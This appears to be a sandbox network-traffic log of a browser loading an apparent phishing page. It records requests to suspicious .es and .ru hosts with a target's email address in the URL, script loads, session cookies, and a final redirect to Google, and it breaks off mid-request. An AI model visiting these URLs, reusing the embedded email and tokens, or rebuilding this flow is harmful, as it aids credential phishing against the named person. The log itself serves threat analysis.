Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /8VVgl7/$anina@arts.state.tx.us HTTP/1.1Host: nvgy.zonqdkqezktw.esConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://nvgy.zonqdkqezktw.es/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://nvgy.zonqdkqezktw.es/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&gs_rn=42&sugkey=AIzaSyA2KlwBX3mkFo30om9LUFYQhpqLoa_BNhE HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEI0qDKAQig4coBCJShywEInP7MAQiFoM0BCL7VzgEIgdbOAQjI3M4BCLHezgEIiuDOAQiu5M4BCIvlzgE=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.png HTTP/1.1Host: developers.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://nvgy.zonqdkqezktw.es/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.png HTTP/1.1Host: developers.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=MZMFVhWiLxLuv8IhtJ81o7GECIEkhynngF2jyWsdRlA-1743025371-1.0.1.1-G90On_Zl3GxkNYGBf0Jtlq.M6s1TRJfkztDqe.DpId5fJ0xWMn3gAmNsbKWoJFgDziAKZXEpO3U7y2wS3AXfm7niKTCNgcNawSCYas_X1NM
Source: global traffic	HTTP traffic detected: GET /kella@mxj5dlh HTTP/1.1Host: fli5.nmpjkg.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Origin: https://nvgy.zonqdkqezktw.esSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://nvgy.zonqdkqezktw.es/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /kella@mxj5dlh HTTP/1.1Host: fli5.nmpjkg.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /8VVgl7/$anina@arts.state.tx.us HTTP/1.1Host: nvgy.zonqdkqezktw.esConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://nvgy.zonqdkqezktw.es/8VVgl7/$anina@arts.state.tx.usAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjBRb0hEejNrTkRkK0RmbGVib1lOTUE9PSIsInZhbHVlIjoiQnlSQ1ZrbGV2alR0azExa2ZuZGMramtMV3lMbHJaZXZRdVBlU0s5NkdZNUVuRVlTbzdaRm9peFBtcEltQ1JRTFdCNUhmZkZONUR1TzBWTWwrNVlhMVBlcWYwOUNpL2w4QlM2WEZPOEQvbkJHcGVtR1BISFBTUFhDWTRPeGM5c0giLCJtYWMiOiJlNjUyYTM4M2YxYzUwYWIyZDM3YjQzMGVlYjBhM2NjODZiZWFjYjZiNzkxMTk3MTMyYTRmOGQ4ZDAxNmE2NmYzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjErTXAzbWtlTEV4bC9wdHc3WmdJQ1E9PSIsInZhbHVlIjoiNUxNcEJ3Y0s2aXEwdWtIaU5NNFRtamcvK3RSSVkybWpRaTlUaGV3N1NySWFVZFpTNTZEcy9kWkpSNmZncnJFN0Q0c2luODJad0N5dFY0ME94N0NPejI2REI1WUcwV2E1VHplZjZldTRZWTV4eS94N2FWdHVBS3BOOTdCWThaRysiLCJtYWMiOiIxZTdiYjdkYzU2Mjg4M2I0ZjUyMTE3MjBlY2E3NjA1MmIwZGM3NTM4NjgxZDA3N2VhMTQwMDNjNzBlMTQ3Nzg1IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /kmd85iTTqfc1CQuXoYGPqfBqk8XP6c HTTP/1.1Host: nvgy.zonqdkqezktw.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjBRb0hEejNrTkRkK0RmbGVib1lOTUE9PSIsInZhbHVlIjoiQnlSQ1ZrbGV2alR0azExa2ZuZGMramtMV3lMbHJaZXZRdVBlU0s5NkdZNUVuRVlTbzdaRm9peFBtcEltQ1JRTFdCNUhmZkZONUR1TzBWTWwrNVlhMVBlcWYwOUNpL2w4QlM2WEZPOEQvbkJHcGVtR1BISFBTUFhDWTRPeGM5c0giLCJtYWMiOiJlNjUyYTM4M2YxYzUwYWIyZDM3YjQzMGVlYjBhM2NjODZiZWFjYjZiNzkxMTk3MTMyYTRmOGQ4ZDAxNmE2NmYzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjErTXAzbWtlTEV4bC9wdHc3WmdJQ1E9PSIsInZhbHVlIjoiNUxNcEJ3Y0s2aXEwdWtIaU5NNFRtamcvK3RSSVkybWpRaTlUaGV3N1NySWFVZFpTNTZEcy9kWkpSNmZncnJFN0Q0c2luODJad0N5dFY0ME94N0NPejI2REI1WUcwV2E1VHplZjZldTRZWTV4eS94N2FWdHVBS3BOOTdCWThaRysiLCJtYWMiOiIxZTdiYjdkYzU2Mjg4M2I0ZjUyMTE3MjBlY2E3NjA1MmIwZGM3NTM4NjgxZDA3N2VhMTQwMDNjNzBlMTQ3Nzg1IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: nvgy.zonqdkqezktw.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://nvgy.zonqdkqezktw.es/8VVgl7/$anina@arts.state.tx.usAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Imd3ejg4WEJWaGFQTlg4YThKZHFsRVE9PSIsInZhbHVlIjoiMVFVcSthTUZNb2VVRU56ODBuMWJoa01YOGRNeW5iYkZJVURySzJEbCtrZnZ6T0w5b3IzS254R2RnVFV5Z2VGYlI4b2VzaEd4SGNvUTM3bHZJNVNQRlBYTDRzRDI4aXhMeVhNbmN5ME5vRHYyMFd0aVZtcHN0M3hDM3J0clFDTzUiLCJtYWMiOiJiYjYzZDM5Y2E5OGYwY2YxNWEzMzNmODE5NTAyYTkyNTRmNzViMDI1MzMyOWIzMDIzNjg0OGY3NWY3MWVkMGU0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlNINnQ3TTlxQ0tIck14VEVoQXNKbXc9PSIsInZhbHVlIjoiTTUvTXJSNEIyajZEaUhMbU9sZzdvNmZuZWJGaUJYWit3UkE5OEV6L2ljR0pGdXZCT3lBbklldS9BTmVTUjg1M0QwdFQ5dHZDeTRqbUFHTURoaGFNL3pDRGZqSGxSamxkb29RdGUxTlJyZ2dNNXdXOTI4NlZwNGlaMWt2clM4NngiLCJtYWMiOiI4MGQ4ZjNiNzY4NDNmYzNiODNmZTZkMTNjYjUyY2U4NDJkYzlkMTAyMDc5MDlhMTgzNTg1NTVjZGYwM2I1ODkzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: google.comConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Browser-Channel: stableX-Browser-Year: 2025X-Browser-Validation: wTKGXmLo+sPWz1JKKbFzUyHly1Q=X-Browser-Copyright: Copyright 2025 Google LLC. All rights reserved.X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEI0qDKAQig4coBCJShywEInP7MAQiFoM0BCLHezgE=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://nvgy.zonqdkqezktw.es/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: www.google.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Browser-Channel: stableX-Browser-Year: 2025X-Browser-Validation: wTKGXmLo+sPWz1JKKbFzUyHly1Q=X-Browser-Copyright: Copyright 2025 Google LLC. All rights reserved.X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEI0qDKAQig4coBCJShywEInP7MAQiFoM0BCLHezgE=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://nvgy.zonqdkqezktw.es/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /xjs/_/ss/k=xjs.hd.KOInGPVOb68.L.B1.O/am=CLIAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAABAAAA4EAAdgIAAAAIANgBEAAAEAAAAAAAAAQQAAAAEAABgAgBAMAAAgAABAAA2AAACSAIAAAAAlMaAAABAMAAAOAACAAJAAAAFAAAAEgAAAAAAAAAAQAAAAGAABhoCIgFUAoAAgAIAIIAAIAAAABGABACAEAHAAIwAIAQAADQAxAIAAAAAAAAEAAAALAAYDBCARAAAAAAAABAAgAAAAAAAAAAAAAAAAAAAAAAAAAQAAAACgAAAAAAAAAAAAAAAAAAAAg/d=1/ed=1/br=1/rs=ACT90oEftwI819Ook0SChABk1NYW2PsVtw/m=cdos,hsm,jsa,mb4ZUb,cEt90b,SNUn3,qddgKe,sTsDMc,dtl0hd,eHDfl,YV5bee,d,csi HTTP/1.1Host: www.google.comConnection: keep-alivedownlink: 0.35sec-ch-ua-full-version-list: "Chromium";v="134.0.6998.36", "Not:A-Brand";v="24.0.0.0", "Google Chrome";v="134.0.6998.36"sec-ch-ua-platform: "Windows"sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-mobile: ?0sec-ch-ua-form-factors: "Desktop"sec-ch-ua-wow64: ?0sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "134.0.6998.36"sec-ch-prefers-color-scheme: lightUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36rtt: 350sec-ch-ua-platform-version: "10.0.0"Accept: text/css,/;q=0.1X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEI0qDKAQig4coBCJShywEInP7MAQiFoM0BCL7VzgEIgdbOAQjI3M4BCLHezgEIiuDOAQiu5M4BCIvlzgE=Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.google.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: AEC=AVcja2crRJMU2N9jh2uE_sd30SCo6mRfJrahwbyZNVphPHim-yqNrD8Pw0s; NID=522=sFpEt6_z3PP3bpdWacVBiKdyCkMY4bKjcyk2S2Qc-HDFyJKUIezgDUHPQ3B3FJ9sicId9uGWXOx3NXrUoChZV8t2NDpGr4d9LbEtqHjDU_cuuqFvQc6Z7BOBRdFwI_FuNVhGd04i8kNxQiscR2AZvYUdQvBQUb1LCjPuDC6Grk7ejaVXms2UyMjs3wcEUGrgx3gl2y6m8Nl1OuSEaPR7ul8
Source: global traffic	HTTP traffic detected: GET /images/branding/googlelogo/1x/googlelogo_color_272x92dp.png HTTP/1.1Host: www.google.comConnection: keep-alivedownlink: 0.35sec-ch-ua-full-version-list: "Chromium";v="134.0.6998.36", "Not:A-Brand";v="24.0.0.0", "Google Chrome";v="134.0.6998.36"sec-ch-ua-platform: "Windows"sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-mobile: ?0sec-ch-ua-form-factors: "Desktop"sec-ch-ua-wow64: ?0sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "134.0.6998.36"sec-ch-prefers-color-scheme: lightUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36rtt: 350sec-ch-ua-platform-version: "10.0.0"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEI0qDKAQig4coBCJShywEInP7MAQiFoM0BCL7VzgEIgdbOAQjI3M4BCLHezgEIiuDOAQiu5M4BCIvlzgE=Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.google.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: AEC=AVcja2crRJMU2N9jh2uE_sd30SCo6mRfJrahwbyZNVphPHim-yqNrD8Pw0s; NID=522=sFpEt6_z3PP3bpdWacVBiKdyCkMY4bKjcyk2S2Qc-HDFyJKUIezgDUHPQ3B3FJ9sicId9uGWXOx3NXrUoChZV8t2NDpGr4d9LbEtqHjDU_cuuqFvQc6Z7BOBRdFwI_FuNVhGd04i8kNxQiscR2AZvYUdQvBQUb1LCjPuDC6Grk7ejaVXms2UyMjs3wcEUGrgx3gl2y6m8Nl1OuSEaPR7ul8
Source: global traffic	HTTP traffic detected: GET /xjs/_/js/k=xjs.hd.en.mCEcQSPrsnc.es5.O/am=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAQAQAAAACAAAAAEAAAEAAAAAAjACQQAAAEAAAAwAgAAAAAAwAAAAAAgAAAADAAwKOMAgACJAAAAAAAAACACwBAgAEABAAAAAAAAAAAAQAAAAAAAAEAAAAAAAAFAAAAAAAEAAAAAAAIAAACCAAAAAAAAAAAAAAAAADQAwAAAAAAAAAAAAAAAQAAYDBCARAAAAAAAADQA0DwAEMKCgAAAAAAAAAAAAAABEgQzIUECgIIAAAAAAAAAAAAAAAAAChpYqEB/d=1/ed=1/dg=3/br=1/rs=ACT90oGWbkpUuyQnygPG7oExy9ofyWeITg/ee=ALeJib:B8gLwd;AfeaP:TkrAjf;BMxAGc:E5bFse;BgS6mb:fidj5d;BjwMce:cXX2Wb;CxXAWb:YyRLvc;DMzTfb:fNTHad;DULqB:RKfG5c;Dkk6ge:JZmW9e;DpcR3d:zL72xf;EABSZ:MXZt9d;ESrPQc:mNTJvc;EVNhjf:pw70Gc;EjXHpb:pSHqh;EmZ2Bf:zr1jrb;EnlcNd:WeHg4;F9mqte:UoRcbe;Fmv9Nc:O1Tzwc;G0KhTb:LIaoZ;G6wU6e:hezEbd;GleZL:J1A7Od;HMDDWe:G8QUdb;HoYVKb:PkDN7e;HqeXPd:cmbnH;IBADCc:RYquRb;IoGlCf:b5lhvb;JXJSm:ii1RGf;JXS8fb:Qj0suc;JsbNhc:Xd8iUd;K5nYTd:ZDZcre;KOxcK:OZqGte;KQzWid:ZMKkN;KcokUb:KiuZBf;KpRAue:Tia57b;LBgRLc:SdcwHb,XVMNvd;LEikZe:byfTOb,lsjVmc;LXA8b:q7OdKd;LsNahb:ucGLNb;NPKaK:SdcwHb;NSEoX:lazG7b;Np8Qkd:Dpx6qc;Nyt6ic:jn2sGd;OgagBe:cNTe0;OohIYe:mpEAQb;Pjplud:PoEs9b;PpTLXd:pJYjx;Q6C5kf:pfdZCe;QGR0gd:Mlhmy;Qw8Feb:jpavUe;R2kc8b:ALJqWb;R4IIIb:QWfeKf;R9Ulx:CR7Ufe;RCF5Sd:X1kBmd;RDNBlf:zPRCJb;SLtqO:Kh1xYe;SMDL4c:fTfGO,fTfGO;SNUn3:ZwDk9d,x8cHvb;ScI3Yc:e7Hzgb,e7Hzgb;ShpF6e:N0pvGc;SwCqAd:fXbCZc;SzQQ3e:dNhofb;TroZ1d:vVVzjb;TxfV6d:YORN0b;U96pRd:FsR04;UDrY1c:eps46d;UVmjEd:EesRsb;UVzb9c:IvPZ6d;UyG7Kb:wQd0G;V2HTTe:RolTY;VGRfx:VFqbr;VN6jIc:ddQyuf;VOcgDe:YquhTb;VhA7bd:vAmQFf;VsAqSb:PGf2Re;WCEKNd:I46Hvd;WDGyFe:jcVOxd;Wfmdue:g3MJlb;YIZmRd:A1yn5d;YV5bee:IvPZ6d;ZSH6tc:QAvyLe;ZWEUA:afR4Cf;ZlOOMb:P0I0Ec;a56pNe:JEfCwb;aAJE9c:WHW6Ef;aCJ9tf:qKftvc;aZ61od:arTwJ;af0EJf:ghinId;bDXwRe:UsyOtc;bcPXSc:gSZLJb;cEt90b:ws9Tlc;cFTWae:gT8qnd;coJ8e:KvoW8;dIoSBb:ZgGg9b;dLlj2:Qqt3Gf;dowIGb:ebZ3mb,ebZ3mb;dtl0hd:lLQWFe;eBAeSb:Ck63tb;eBZ5Nd:audvde;eHDfl:ofjVkb;eO3lse:nFClrf;euOXY:OZjbQ;g8nkx:U4MzKc;gaub4:TN6bMe;gtVSi:ekUOYd;h3MYod:iAmrSd;hK67qb:QWEO5b;heHB1:sFczq;hjRo6e:F62sG;hlqGX:FWz1ic;hsLsYc:Vl118;hwoVHd:zw4U8c;iFQyKf:QIhFr,vfuNJf;imqimf:jKGL2e;iySzae:a6xXfd;jY0zg:Q6tNgc;k2Qxcb:XY51pe;kCQyJ:ueyPK;kbAm9d:MkHyGd;lOO0Vd:OTA3Ae;lbfkyf:MqGdUd;nAFL3:NTMZac,s39S4;nJw4Gd:dPFZH;oGtAuc:sOXFj;oSUNyd:fTfGO,fTfGO;oUlnpc:RagDlc;okUaUd:wItadb;pKJiXd:VCenhc;pNsl2d:j9Yuyc;pXdRYb:JKoKVe;pj82le:ww04Df;qZx2Fc:j0xrE;qaS3gd:yiLg6e;qafBPd:sgY6Zb;qavrXe:zQzcXe;qddgKe:d7YSfd,x4FYXe;rQSrae:C6D5Fc;rdexKf:FEkKD;sTsDMc:kHVSUb;sZmdvc:rdGEfc;slIQ5d:pnOULd;tH4IIe:Ymry6;tosKvd:ZCqP3;trZL0b:qY8PFe;uuQkY:u2V3ud;vEYCNb:FaqsVd;vGrMZ:lPJJ0c;vfVwPd:lcrkwe;w3bZCb:ZPGaIb;w4rSdf:XKiZ9;w9w86d:dt4g2b;wQlYve:aLUfP;wR5FRb:O1Gjze,TtcOte;wV5Pjc:L8KGxe;xBbsrc:NEW1Qc;ysNiMc:CpIBjd;yxTchf:KUM7Z;z97YGf:oug9te;zOsCQe:Ko78Df;zaIgPb:Qtpxbd/m=cdos,hsm,jsa,mb4ZUb,cEt90b,SNUn3,qddgKe,sTsDMc,dtl0hd,eHDfl,YV5bee,d,csi HTTP/1.1Host: www.google.comConnection: keep-alivedownlink: 0.35sec-ch-ua-full-version-list: "Chromium";v="134.0.6998.36", "Not:A-Brand";v="24.0.0.0", "Google Chrome";v="134.0.6998.36"sec-ch-ua-platform: "Windows"sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v=
Source: global traffic	HTTP traffic detected: GET /xyWc2HOAwFK1ytG9aGvzFMwyqfO344tkNb5yLwpvLBdAfw HTTP/1.1Host: nvgy.zonqdkqezktw.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjNuVnFrRlRtc2hncnFiZXBraTMzUVE9PSIsInZhbHVlIjoiMDZZaHMrUVh5Um0vMGJhUllUUEhqazc2LzhDVlZRWDA5MjFKeVBPYzRhZUVGT2V2bzliY3Z6dW9GQVRHY25ELzBxS05POXNqNXA2VzJwWFpDeEJ1ZVpPc2R3b3hZOG84eE9aL2xVekVFbHZabFFCenFBbERjL2h0UTVhOGhCbHEiLCJtYWMiOiJiNmRiNzc3MGVmMmJlMzliZGVlN2UxNjg2MzJjYTQ5MGYyYjA5YWJkMDY2YjQ1MjllYjk0ZDBkNjg2YTFkZmQyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlhJNW9kTUM0WTRFR043UDZpMHVtWXc9PSIsInZhbHVlIjoia2ZLUUtNcTkzTjhKZTJKVnIwYjVuSW5JeE5RVktkY0ZldklXL3BUYjlzdksrUjNjSjVxOTllZUZUVU5DVTZ0ZE9MRnk2U0doMjJiYWtNdk5BZ21vM2txQ1hYLzI4cGpiOXdvcVhzc3JZRWxDNjJhM1lFZHljOUsxblVuNmFDVWwiLCJtYWMiOiI2MTkxNzNhZjdhZmEzMmYzYzc3M2JmZjY2MTgxMDljZDY1ZDg4ZjlkZTNhNjQyMmUyYjMwYTg5MzU2NzlmYjY3IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /async/hpba?yv=3&cs=0&ei=43TkZ9b3MZSw0PEPiIOGsQ0&async=_basejs:/xjs/_/js/k%3Dxjs.hd.en.mCEcQSPrsnc.es5.O/am%3DAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAQAQAAAACAAAAAEAAAEAAAAAAjACAQAAAEAAAAwAgAAAAAAwAAAAAAgAAAADAAwKOMAgACJAAAAAAAAACACwBAgAEABAAAAAAAAAAAAQAAAAAAAAEAAAAAAAAFAAAAAAAEAAAAAAAIAAACCAAAAAAAAAAAAAAAAADQAwAAAAAAAAAAAAAAAQAAYDBCARAAAAAAAADQA0DwAEMKCgAAAAAAAAAAAAAABEgQzIUEAgIIAAAAAAAAAAAAAAAAAChpYqEB/dg%3D0/br%3D1/rs%3DACT90oFd0_0CcwJNKEYnPSXbCsIfszuflg,_basecss:/xjs/_/ss/k%3Dxjs.hd.KOInGPVOb68.L.B1.O/am%3DCLIAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAABAAAA4EAAdgIAAAAIANgBEAAAEAAAAAAAAAQQAAAAEAABgAgBAMAAAgAABAAA2AAACSAIAAAAAlMaAAABAMAAAOAACAAJAAAAFAAAAEgAAAAAAAAAAQAAAAGAABhoCIgFUAoAAgAIAIIAAIAAAABGABACAEAHAAIwAIAQAADQAxAIAAAAAAAAEAAAALAAYDBCARAAAAAAAABAAgAAAAAAAAAAAAAAAAAAAAAAAAAQAAAACgAAAAAAAAAAAAAAAAAAAAg/br%3D1/rs%3DACT90oEftwI819Ook0SChABk1NYW2PsVtw,_basecomb:/xjs/_/js/k%3Dxjs.hd.en.mCEcQSPrsnc.es5.O/ck%3Dxjs.hd.KOInGPVOb68.L.B1.O/am%3DCLIAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAABAAAA4EAQdwIAAACIANgBEAAAEAAAAAAjACQQAAAEEAABwAgBAMAAAwAABAAA2AAACTAIwKOMAlMaJAABAMAAAOCACwBJgAEAFAAAAEgAAAAAAQAAAQAAAAGAABhoCIgFUAoAAgAMAIIAAIAI